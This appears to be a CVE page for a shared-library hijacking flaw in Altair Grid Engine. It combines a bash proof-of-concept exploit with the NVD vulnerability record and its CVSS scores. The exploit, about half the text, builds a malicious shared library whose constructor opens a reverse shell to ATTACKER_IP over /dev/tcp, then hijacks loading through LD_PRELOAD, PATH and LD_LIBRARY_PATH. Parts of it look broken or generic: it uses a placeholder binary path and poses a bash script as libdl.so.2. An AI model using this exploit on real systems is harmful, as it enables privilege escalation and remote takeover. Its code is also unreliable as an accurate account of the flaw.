CVE-2025-40763

#!/bin/bash # CVE-2025-40763 PoC - Altair Grid Engine Shared Library Hijacking # Author: Security Researcher # Note: This is for educational purposes only # Step 1: Create malicious shared library cat > /tmp/malicious_lib.c << 'EOF' #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> // This constructor runs when the library is loaded __attribute__((constructor)) void malicious_init(void) { printf("[+] Malicious library loaded!\n"); // Execute reverse shell or arbitrary command system("bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"); } EOF # Step 2: Compile malicious library gcc -shared -fPIC -o /tmp/malicious_lib.so /tmp/malicious_lib.c # Step 3: Set LD_PRELOAD and execute vulnerable binary export LD_PRELOAD=/tmp/malicious_lib.so # Assuming the vulnerable binary path export PATH=/tmp:$PATH # Step 4: Trigger the vulnerable code path # The actual trigger depends on the specific Grid Engine component exec /path/to/grid_engine_binary # Alternative: If PATH hijacking is possible export PATH=/tmp:$PATH # Create a fake library loader script cat > /tmp/libdl.so.2 << 'EOF' #!/bin/bash # Interceptor script for library loading LD_PRELOAD=/tmp/malicious_lib.so /bin/bash -c "$@" EOF chmod +x /tmp/libdl.so.2 export LD_LIBRARY_PATH=/tmp:$LD_LIBRARY_PATH

{"cve": {"id": "CVE-2025-40763", "sourceIdentifier": "[email protected]", "published": "2025-11-11T21:15:37.893", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Altair Grid Engine (All versions < V2026.0.0). Affected products do not properly validate environment variables when loading shared libraries, allowing path hijacking through malicious library substitution.\r\nThis could allow a local attacker to execute arbitrary code with superuser privileges by manipulating the environment variable and placing a malicious library in the controlled path."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-514895.html", "source": "[email protected]"}]}}